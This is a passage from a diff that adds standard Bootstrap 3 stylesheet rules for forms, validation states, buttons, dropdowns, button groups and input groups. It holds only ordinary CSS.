.table-bordered > tfoot > tr > th:last-child, + .table-responsive > .table-bordered > thead > tr > td:last-child, + .table-responsive > .table-bordered > tbody > tr > td:last-child, + .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: 0; + } + .table-responsive > .table-bordered > tbody > tr:last-child > th, + .table-responsive > .table-bordered > tfoot > tr:last-child > th, + .table-responsive > .table-bordered > tbody > tr:last-child > td, + .table-responsive > .table-bordered > tfoot > tr:last-child > td { + border-bottom: 0; + } +} +fieldset { + min-width: 0; + padding: 0; + margin: 0; + border: 0; +} +legend { + display: block; + width: 100%; + padding: 0; + margin-bottom: 20px; + font-size: 21px; + line-height: inherit; + color: #333; + border: 0; + border-bottom: 1px solid #e5e5e5; +} +label { + display: inline-block; + max-width: 100%; + margin-bottom: 5px; + font-weight: bold; +} +input[type="search"] { + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +input[type="radio"], +input[type="checkbox"] { + margin: 4px 0 0; + margin-top: 1px \9; + line-height: normal; +} +input[type="file"] { + display: block; +} +input[type="range"] { + display: block; + width: 100%; +} +select[multiple], +select[size] { + height: auto; +} +input[type="file"]:focus, +input[type="radio"]:focus, +input[type="checkbox"]:focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +output { + display: block; + padding-top: 7px; + font-size: 14px; + line-height: 1.42857143; + color: #555; +} +.form-control { + display: block; + width: 100%; + height: 34px; + padding: 6px 12px; + font-size: 14px; + line-height: 1.42857143; + color: #555; + background-color: #fff; + background-image: none; + border: 1px solid #ccc; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; + -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; + transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; +} +.form-control:focus { + border-color: #66afe9; + outline: 0; + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); + box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); +} +.form-control::-moz-placeholder { + color: #999; + opacity: 1; +} +.form-control:-ms-input-placeholder { + color: #999; +} +.form-control::-webkit-input-placeholder { + color: #999; +} +.form-control::-ms-expand { + background-color: transparent; + border: 0; +} +.form-control[disabled], +.form-control[readonly], +fieldset[disabled] .form-control { + background-color: #eee; + opacity: 1; +} +.form-control[disabled], +fieldset[disabled] .form-control { + cursor: not-allowed; +} +textarea.form-control { + height: auto; +} +input[type="search"] { + -webkit-appearance: none; +} +@media screen and (-webkit-min-device-pixel-ratio: 0) { + input[type="date"].form-control, + input[type="time"].form-control, + input[type="datetime-local"].form-control, + input[type="month"].form-control { + line-height: 34px; + } + input[type="date"].input-sm, + input[type="time"].input-sm, + input[type="datetime-local"].input-sm, + input[type="month"].input-sm, + .input-group-sm input[type="date"], + .input-group-sm input[type="time"], + .input-group-sm input[type="datetime-local"], + .input-group-sm input[type="month"] { + line-height: 30px; + } + input[type="date"].input-lg, + input[type="time"].input-lg, + input[type="datetime-local"].input-lg, + input[type="month"].input-lg, + .input-group-lg input[type="date"], + .input-group-lg input[type="time"], + .input-group-lg input[type="datetime-local"], + .input-group-lg input[type="month"] { + line-height: 46px; + } +} +.form-group { + margin-bottom: 15px; +} +.radio, +.checkbox { + position: relative; + display: block; + margin-top: 10px; + margin-bottom: 10px; +} +.radio label, +.checkbox label { + min-height: 20px; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + cursor: pointer; +} +.radio input[type="radio"], +.radio-inline input[type="radio"], +.checkbox input[type="checkbox"], +.checkbox-inline input[type="checkbox"] { + position: absolute; + margin-top: 4px \9; + margin-left: -20px; +} +.radio + .radio, +.checkbox + .checkbox { + margin-top: -5px; +} +.radio-inline, +.checkbox-inline { + position: relative; + display: inline-block; + padding-left: 20px; + margin-bottom: 0; + font-weight: normal; + vertical-align: middle; + cursor: pointer; +} +.radio-inline + .radio-inline, +.checkbox-inline + .checkbox-inline { + margin-top: 0; + margin-left: 10px; +} +input[type="radio"][disabled], +input[type="checkbox"][disabled], +input[type="radio"].disabled, +input[type="checkbox"].disabled, +fieldset[disabled] input[type="radio"], +fieldset[disabled] input[type="checkbox"] { + cursor: not-allowed; +} +.radio-inline.disabled, +.checkbox-inline.disabled, +fieldset[disabled] .radio-inline, +fieldset[disabled] .checkbox-inline { + cursor: not-allowed; +} +.radio.disabled label, +.checkbox.disabled label, +fieldset[disabled] .radio label, +fieldset[disabled] .checkbox label { + cursor: not-allowed; +} +.form-control-static { + min-height: 34px; + padding-top: 7px; + padding-bottom: 7px; + margin-bottom: 0; +} +.form-control-static.input-lg, +.form-control-static.input-sm { + padding-right: 0; + padding-left: 0; +} +.input-sm { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-sm { + height: 30px; + line-height: 30px; +} +textarea.input-sm, +select[multiple].input-sm { + height: auto; +} +.form-group-sm .form-control { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.form-group-sm select.form-control { + height: 30px; + line-height: 30px; +} +.form-group-sm textarea.form-control, +.form-group-sm select[multiple].form-control { + height: auto; +} +.form-group-sm .form-control-static { + height: 30px; + min-height: 32px; + padding: 6px 10px; + font-size: 12px; + line-height: 1.5; +} +.input-lg { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-lg { + height: 46px; + line-height: 46px; +} +textarea.input-lg, +select[multiple].input-lg { + height: auto; +} +.form-group-lg .form-control { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.form-group-lg select.form-control { + height: 46px; + line-height: 46px; +} +.form-group-lg textarea.form-control, +.form-group-lg select[multiple].form-control { + height: auto; +} +.form-group-lg .form-control-static { + height: 46px; + min-height: 38px; + padding: 11px 16px; + font-size: 18px; + line-height: 1.3333333; +} +.has-feedback { + position: relative; +} +.has-feedback .form-control { + padding-right: 42.5px; +} +.form-control-feedback { + position: absolute; + top: 0; + right: 0; + z-index: 2; + display: block; + width: 34px; + height: 34px; + line-height: 34px; + text-align: center; + pointer-events: none; +} +.input-lg + .form-control-feedback, +.input-group-lg + .form-control-feedback, +.form-group-lg .form-control + .form-control-feedback { + width: 46px; + height: 46px; + line-height: 46px; +} +.input-sm + .form-control-feedback, +.input-group-sm + .form-control-feedback, +.form-group-sm .form-control + .form-control-feedback { + width: 30px; + height: 30px; + line-height: 30px; +} +.has-success .help-block, +.has-success .control-label, +.has-success .radio, +.has-success .checkbox, +.has-success .radio-inline, +.has-success .checkbox-inline, +.has-success.radio label, +.has-success.checkbox label, +.has-success.radio-inline label, +.has-success.checkbox-inline label { + color: #3c763d; +} +.has-success .form-control { + border-color: #3c763d; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-success .form-control:focus { + border-color: #2b542c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; +} +.has-success .input-group-addon { + color: #3c763d; + background-color: #dff0d8; + border-color: #3c763d; +} +.has-success .form-control-feedback { + color: #3c763d; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .radio, +.has-warning .checkbox, +.has-warning .radio-inline, +.has-warning .checkbox-inline, +.has-warning.radio label, +.has-warning.checkbox label, +.has-warning.radio-inline label, +.has-warning.checkbox-inline label { + color: #8a6d3b; +} +.has-warning .form-control { + border-color: #8a6d3b; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-warning .form-control:focus { + border-color: #66512c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; +} +.has-warning .input-group-addon { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #8a6d3b; +} +.has-warning .form-control-feedback { + color: #8a6d3b; +} +.has-error .help-block, +.has-error .control-label, +.has-error .radio, +.has-error .checkbox, +.has-error .radio-inline, +.has-error .checkbox-inline, +.has-error.radio label, +.has-error.checkbox label, +.has-error.radio-inline label, +.has-error.checkbox-inline label { + color: #a94442; +} +.has-error .form-control { + border-color: #a94442; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); +} +.has-error .form-control:focus { + border-color: #843534; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; +} +.has-error .input-group-addon { + color: #a94442; + background-color: #f2dede; + border-color: #a94442; +} +.has-error .form-control-feedback { + color: #a94442; +} +.has-feedback label ~ .form-control-feedback { + top: 25px; +} +.has-feedback label.sr-only ~ .form-control-feedback { + top: 0; +} +.help-block { + display: block; + margin-top: 5px; + margin-bottom: 10px; + color: #737373; +} +@media (min-width: 768px) { + .form-inline .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .form-inline .form-control-static { + display: inline-block; + } + .form-inline .input-group { + display: inline-table; + vertical-align: middle; + } + .form-inline .input-group .input-group-addon, + .form-inline .input-group .input-group-btn, + .form-inline .input-group .form-control { + width: auto; + } + .form-inline .input-group > .form-control { + width: 100%; + } + .form-inline .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio, + .form-inline .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .form-inline .radio label, + .form-inline .checkbox label { + padding-left: 0; + } + .form-inline .radio input[type="radio"], + .form-inline .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .form-inline .has-feedback .form-control-feedback { + top: 0; + } +} +.form-horizontal .radio, +.form-horizontal .checkbox, +.form-horizontal .radio-inline, +.form-horizontal .checkbox-inline { + padding-top: 7px; + margin-top: 0; + margin-bottom: 0; +} +.form-horizontal .radio, +.form-horizontal .checkbox { + min-height: 27px; +} +.form-horizontal .form-group { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .form-horizontal .control-label { + padding-top: 7px; + margin-bottom: 0; + text-align: right; + } +} +.form-horizontal .has-feedback .form-control-feedback { + right: 15px; +} +@media (min-width: 768px) { + .form-horizontal .form-group-lg .control-label { + padding-top: 11px; + font-size: 18px; + } +} +@media (min-width: 768px) { + .form-horizontal .form-group-sm .control-label { + padding-top: 6px; + font-size: 12px; + } +} +.btn { + display: inline-block; + padding: 6px 12px; + margin-bottom: 0; + font-size: 14px; + font-weight: normal; + line-height: 1.42857143; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -ms-touch-action: manipulation; + touch-action: manipulation; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.btn:focus, +.btn:active:focus, +.btn.active:focus, +.btn.focus, +.btn:active.focus, +.btn.active.focus { + outline: thin dotted; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} +.btn:hover, +.btn:focus, +.btn.focus { + color: #333; + text-decoration: none; +} +.btn:active, +.btn.active { + background-image: none; + outline: 0; + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn.disabled, +.btn[disabled], +fieldset[disabled] .btn { + cursor: not-allowed; + filter: alpha(opacity=65); + -webkit-box-shadow: none; + box-shadow: none; + opacity: .65; +} +a.btn.disabled, +fieldset[disabled] a.btn { + pointer-events: none; +} +.btn-default { + color: #333; + background-color: #fff; + border-color: #ccc; +} +.btn-default:focus, +.btn-default.focus { + color: #333; + background-color: #e6e6e6; + border-color: #8c8c8c; +} +.btn-default:hover { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + color: #333; + background-color: #e6e6e6; + border-color: #adadad; +} +.btn-default:active:hover, +.btn-default.active:hover, +.open > .dropdown-toggle.btn-default:hover, +.btn-default:active:focus, +.btn-default.active:focus, +.open > .dropdown-toggle.btn-default:focus, +.btn-default:active.focus, +.btn-default.active.focus, +.open > .dropdown-toggle.btn-default.focus { + color: #333; + background-color: #d4d4d4; + border-color: #8c8c8c; +} +.btn-default:active, +.btn-default.active, +.open > .dropdown-toggle.btn-default { + background-image: none; +} +.btn-default.disabled:hover, +.btn-default[disabled]:hover, +fieldset[disabled] .btn-default:hover, +.btn-default.disabled:focus, +.btn-default[disabled]:focus, +fieldset[disabled] .btn-default:focus, +.btn-default.disabled.focus, +.btn-default[disabled].focus, +fieldset[disabled] .btn-default.focus { + background-color: #fff; + border-color: #ccc; +} +.btn-default .badge { + color: #fff; + background-color: #333; +} +.btn-primary { + color: #fff; + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary:focus, +.btn-primary.focus { + color: #fff; + background-color: #286090; + border-color: #122b40; +} +.btn-primary:hover { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + color: #fff; + background-color: #286090; + border-color: #204d74; +} +.btn-primary:active:hover, +.btn-primary.active:hover, +.open > .dropdown-toggle.btn-primary:hover, +.btn-primary:active:focus, +.btn-primary.active:focus, +.open > .dropdown-toggle.btn-primary:focus, +.btn-primary:active.focus, +.btn-primary.active.focus, +.open > .dropdown-toggle.btn-primary.focus { + color: #fff; + background-color: #204d74; + border-color: #122b40; +} +.btn-primary:active, +.btn-primary.active, +.open > .dropdown-toggle.btn-primary { + background-image: none; +} +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +fieldset[disabled] .btn-primary:hover, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus, +fieldset[disabled] .btn-primary:focus, +.btn-primary.disabled.focus, +.btn-primary[disabled].focus, +fieldset[disabled] .btn-primary.focus { + background-color: #337ab7; + border-color: #2e6da4; +} +.btn-primary .badge { + color: #337ab7; + background-color: #fff; +} +.btn-success { + color: #fff; + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success:focus, +.btn-success.focus { + color: #fff; + background-color: #449d44; + border-color: #255625; +} +.btn-success:hover { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + color: #fff; + background-color: #449d44; + border-color: #398439; +} +.btn-success:active:hover, +.btn-success.active:hover, +.open > .dropdown-toggle.btn-success:hover, +.btn-success:active:focus, +.btn-success.active:focus, +.open > .dropdown-toggle.btn-success:focus, +.btn-success:active.focus, +.btn-success.active.focus, +.open > .dropdown-toggle.btn-success.focus { + color: #fff; + background-color: #398439; + border-color: #255625; +} +.btn-success:active, +.btn-success.active, +.open > .dropdown-toggle.btn-success { + background-image: none; +} +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +fieldset[disabled] .btn-success:hover, +.btn-success.disabled:focus, +.btn-success[disabled]:focus, +fieldset[disabled] .btn-success:focus, +.btn-success.disabled.focus, +.btn-success[disabled].focus, +fieldset[disabled] .btn-success.focus { + background-color: #5cb85c; + border-color: #4cae4c; +} +.btn-success .badge { + color: #5cb85c; + background-color: #fff; +} +.btn-info { + color: #fff; + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info:focus, +.btn-info.focus { + color: #fff; + background-color: #31b0d5; + border-color: #1b6d85; +} +.btn-info:hover { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + color: #fff; + background-color: #31b0d5; + border-color: #269abc; +} +.btn-info:active:hover, +.btn-info.active:hover, +.open > .dropdown-toggle.btn-info:hover, +.btn-info:active:focus, +.btn-info.active:focus, +.open > .dropdown-toggle.btn-info:focus, +.btn-info:active.focus, +.btn-info.active.focus, +.open > .dropdown-toggle.btn-info.focus { + color: #fff; + background-color: #269abc; + border-color: #1b6d85; +} +.btn-info:active, +.btn-info.active, +.open > .dropdown-toggle.btn-info { + background-image: none; +} +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +fieldset[disabled] .btn-info:hover, +.btn-info.disabled:focus, +.btn-info[disabled]:focus, +fieldset[disabled] .btn-info:focus, +.btn-info.disabled.focus, +.btn-info[disabled].focus, +fieldset[disabled] .btn-info.focus { + background-color: #5bc0de; + border-color: #46b8da; +} +.btn-info .badge { + color: #5bc0de; + background-color: #fff; +} +.btn-warning { + color: #fff; + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning:focus, +.btn-warning.focus { + color: #fff; + background-color: #ec971f; + border-color: #985f0d; +} +.btn-warning:hover { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + color: #fff; + background-color: #ec971f; + border-color: #d58512; +} +.btn-warning:active:hover, +.btn-warning.active:hover, +.open > .dropdown-toggle.btn-warning:hover, +.btn-warning:active:focus, +.btn-warning.active:focus, +.open > .dropdown-toggle.btn-warning:focus, +.btn-warning:active.focus, +.btn-warning.active.focus, +.open > .dropdown-toggle.btn-warning.focus { + color: #fff; + background-color: #d58512; + border-color: #985f0d; +} +.btn-warning:active, +.btn-warning.active, +.open > .dropdown-toggle.btn-warning { + background-image: none; +} +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +fieldset[disabled] .btn-warning:hover, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus, +fieldset[disabled] .btn-warning:focus, +.btn-warning.disabled.focus, +.btn-warning[disabled].focus, +fieldset[disabled] .btn-warning.focus { + background-color: #f0ad4e; + border-color: #eea236; +} +.btn-warning .badge { + color: #f0ad4e; + background-color: #fff; +} +.btn-danger { + color: #fff; + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger:focus, +.btn-danger.focus { + color: #fff; + background-color: #c9302c; + border-color: #761c19; +} +.btn-danger:hover { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + color: #fff; + background-color: #c9302c; + border-color: #ac2925; +} +.btn-danger:active:hover, +.btn-danger.active:hover, +.open > .dropdown-toggle.btn-danger:hover, +.btn-danger:active:focus, +.btn-danger.active:focus, +.open > .dropdown-toggle.btn-danger:focus, +.btn-danger:active.focus, +.btn-danger.active.focus, +.open > .dropdown-toggle.btn-danger.focus { + color: #fff; + background-color: #ac2925; + border-color: #761c19; +} +.btn-danger:active, +.btn-danger.active, +.open > .dropdown-toggle.btn-danger { + background-image: none; +} +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +fieldset[disabled] .btn-danger:hover, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus, +fieldset[disabled] .btn-danger:focus, +.btn-danger.disabled.focus, +.btn-danger[disabled].focus, +fieldset[disabled] .btn-danger.focus { + background-color: #d9534f; + border-color: #d43f3a; +} +.btn-danger .badge { + color: #d9534f; + background-color: #fff; +} +.btn-link { + font-weight: normal; + color: #337ab7; + border-radius: 0; +} +.btn-link, +.btn-link:active, +.btn-link.active, +.btn-link[disabled], +fieldset[disabled] .btn-link { + background-color: transparent; + -webkit-box-shadow: none; + box-shadow: none; +} +.btn-link, +.btn-link:hover, +.btn-link:focus, +.btn-link:active { + border-color: transparent; +} +.btn-link:hover, +.btn-link:focus { + color: #23527c; + text-decoration: underline; + background-color: transparent; +} +.btn-link[disabled]:hover, +fieldset[disabled] .btn-link:hover, +.btn-link[disabled]:focus, +fieldset[disabled] .btn-link:focus { + color: #777; + text-decoration: none; +} +.btn-lg, +.btn-group-lg > .btn { + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +.btn-sm, +.btn-group-sm > .btn { + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-xs, +.btn-group-xs > .btn { + padding: 1px 5px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +.btn-block { + display: block; + width: 100%; +} +.btn-block + .btn-block { + margin-top: 5px; +} +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} +.fade { + opacity: 0; + -webkit-transition: opacity .15s linear; + -o-transition: opacity .15s linear; + transition: opacity .15s linear; +} +.fade.in { + opacity: 1; +} +.collapse { + display: none; +} +.collapse.in { + display: block; +} +tr.collapse.in { + display: table-row; +} +tbody.collapse.in { + display: table-row-group; +} +.collapsing { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition-timing-function: ease; + -o-transition-timing-function: ease; + transition-timing-function: ease; + -webkit-transition-duration: .35s; + -o-transition-duration: .35s; + transition-duration: .35s; + -webkit-transition-property: height, visibility; + -o-transition-property: height, visibility; + transition-property: height, visibility; +} +.caret { + display: inline-block; + width: 0; + height: 0; + margin-left: 2px; + vertical-align: middle; + border-top: 4px dashed; + border-top: 4px solid \9; + border-right: 4px solid transparent; + border-left: 4px solid transparent; +} +.dropup, +.dropdown { + position: relative; +} +.dropdown-toggle:focus { + outline: 0; +} +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 5px 0; + margin: 2px 0 0; + font-size: 14px; + text-align: left; + list-style: none; + background-color: #fff; + -webkit-background-clip: padding-box; + background-clip: padding-box; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, .15); + border-radius: 4px; + -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); + box-shadow: 0 6px 12px rgba(0, 0, 0, .175); +} +.dropdown-menu.pull-right { + right: 0; + left: auto; +} +.dropdown-menu .divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.dropdown-menu > li > a { + display: block; + padding: 3px 20px; + clear: both; + font-weight: normal; + line-height: 1.42857143; + color: #333; + white-space: nowrap; +} +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus { + color: #262626; + text-decoration: none; + background-color: #f5f5f5; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #fff; + text-decoration: none; + background-color: #337ab7; + outline: 0; +} +.dropdown-menu > .disabled > a, +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + color: #777; +} +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + text-decoration: none; + cursor: not-allowed; + background-color: transparent; + background-image: none; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.open > .dropdown-menu { + display: block; +} +.open > a { + outline: 0; +} +.dropdown-menu-right { + right: 0; + left: auto; +} +.dropdown-menu-left { + right: auto; + left: 0; +} +.dropdown-header { + display: block; + padding: 3px 20px; + font-size: 12px; + line-height: 1.42857143; + color: #777; + white-space: nowrap; +} +.dropdown-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 990; +} +.pull-right > .dropdown-menu { + right: 0; + left: auto; +} +.dropup .caret, +.navbar-fixed-bottom .dropdown .caret { + content: ""; + border-top: 0; + border-bottom: 4px dashed; + border-bottom: 4px solid \9; +} +.dropup .dropdown-menu, +.navbar-fixed-bottom .dropdown .dropdown-menu { + top: auto; + bottom: 100%; + margin-bottom: 2px; +} +@media (min-width: 768px) { + .navbar-right .dropdown-menu { + right: 0; + left: auto; + } + .navbar-right .dropdown-menu-left { + right: auto; + left: 0; + } +} +.btn-group, +.btn-group-vertical { + position: relative; + display: inline-block; + vertical-align: middle; +} +.btn-group > .btn, +.btn-group-vertical > .btn { + position: relative; + float: left; +} +.btn-group > .btn:hover, +.btn-group-vertical > .btn:hover, +.btn-group > .btn:focus, +.btn-group-vertical > .btn:focus, +.btn-group > .btn:active, +.btn-group-vertical > .btn:active, +.btn-group > .btn.active, +.btn-group-vertical > .btn.active { + z-index: 2; +} +.btn-group .btn + .btn, +.btn-group .btn + .btn-group, +.btn-group .btn-group + .btn, +.btn-group .btn-group + .btn-group { + margin-left: -1px; +} +.btn-toolbar { + margin-left: -5px; +} +.btn-toolbar .btn, +.btn-toolbar .btn-group, +.btn-toolbar .input-group { + float: left; +} +.btn-toolbar > .btn, +.btn-toolbar > .btn-group, +.btn-toolbar > .input-group { + margin-left: 5px; +} +.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { + border-radius: 0; +} +.btn-group > .btn:first-child { + margin-left: 0; +} +.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn:last-child:not(:first-child), +.btn-group > .dropdown-toggle:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group > .btn-group { + float: left; +} +.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-top-right-radius: 0; + border-bottom-right-radius: 0; +} +.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group .dropdown-toggle:active, +.btn-group.open .dropdown-toggle { + outline: 0; +} +.btn-group > .btn + .dropdown-toggle { + padding-right: 8px; + padding-left: 8px; +} +.btn-group > .btn-lg + .dropdown-toggle { + padding-right: 12px; + padding-left: 12px; +} +.btn-group.open .dropdown-toggle { + -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); + box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); +} +.btn-group.open .dropdown-toggle.btn-link { + -webkit-box-shadow: none; + box-shadow: none; +} +.btn .caret { + margin-left: 0; +} +.btn-lg .caret { + border-width: 5px 5px 0; + border-bottom-width: 0; +} +.dropup .btn-lg .caret { + border-width: 0 5px 5px; +} +.btn-group-vertical > .btn, +.btn-group-vertical > .btn-group, +.btn-group-vertical > .btn-group > .btn { + display: block; + float: none; + width: 100%; + max-width: 100%; +} +.btn-group-vertical > .btn-group > .btn { + float: none; +} +.btn-group-vertical > .btn + .btn, +.btn-group-vertical > .btn + .btn-group, +.btn-group-vertical > .btn-group + .btn, +.btn-group-vertical > .btn-group + .btn-group { + margin-top: -1px; + margin-left: 0; +} +.btn-group-vertical > .btn:not(:first-child):not(:last-child) { + border-radius: 0; +} +.btn-group-vertical > .btn:first-child:not(:last-child) { + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn:last-child:not(:first-child) { + border-top-left-radius: 0; + border-top-right-radius: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { + border-radius: 0; +} +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, +.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.btn-group-justified { + display: table; + width: 100%; + table-layout: fixed; + border-collapse: separate; +} +.btn-group-justified > .btn, +.btn-group-justified > .btn-group { + display: table-cell; + float: none; + width: 1%; +} +.btn-group-justified > .btn-group .btn { + width: 100%; +} +.btn-group-justified > .btn-group .dropdown-menu { + left: auto; +} +[data-toggle="buttons"] > .btn input[type="radio"], +[data-toggle="buttons"] > .btn-group > .btn input[type="radio"], +[data-toggle="buttons"] > .btn input[type="checkbox"], +[data-toggle="buttons"] > .btn-group > .btn input[type="checkbox"] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none; +} +.input-group { + position: relative; + display: table; + border-collapse: separate; +} +.input-group[class*="col-"] { + float: none; + padding-right: 0; + padding-left: 0; +} +.input-group .form-control { + position: relative; + z-index: 2; + float: left; + width: 100%; + margin-bottom: 0; +} +.input-group .form-control:focus { + z-index: 3; +} +.input-group-lg > .form-control, +.input-group-lg > .input-group-addon, +.input-group-lg > .input-group-btn > .btn { + height: 46px; + padding: 10px 16px; + font-size: 18px; + line-height: 1.3333333; + border-radius: 6px; +} +select.input-group-lg > .form-control, +select.input-group-lg > .input-group-addon, +select.input-group-lg > .input-group-btn > .btn { + height: 46px; + line-height: 46px; +} +textarea.input-group-lg > .form-control, +textarea.input-group-lg > .input-group-addon, +textarea.input-group-lg > .input-group-btn > .btn, +select[multiple].input-group-lg > .form-control, +select[multiple].input-group-lg > .input-group-addon, +select[multiple].input-group-lg > .input-group-btn > .btn { + height: auto; +} +.input-group-sm > .form-control, +.input-group-sm > .input-group-addon, +.input-group-sm > .input-group-btn > .btn { + height: 30px; + padding: 5px 10px; + font-size: 12px; + line-height: 1.5; + border-radius: 3px; +} +select.input-group-sm > .form-control, +select.input-group-sm > .input-group-addon, +select.input-group-sm > .input-group-btn > .btn { + height: 30px; + line-height: 30px; +} +textarea.input-group-sm > .form-control, +textarea.input-group-sm > .input-group-addon, +textarea.input-group-sm > .input-group-btn > .btn, +select[multiple].input-group-sm > .form-control, +select[multiple].input-group-sm > 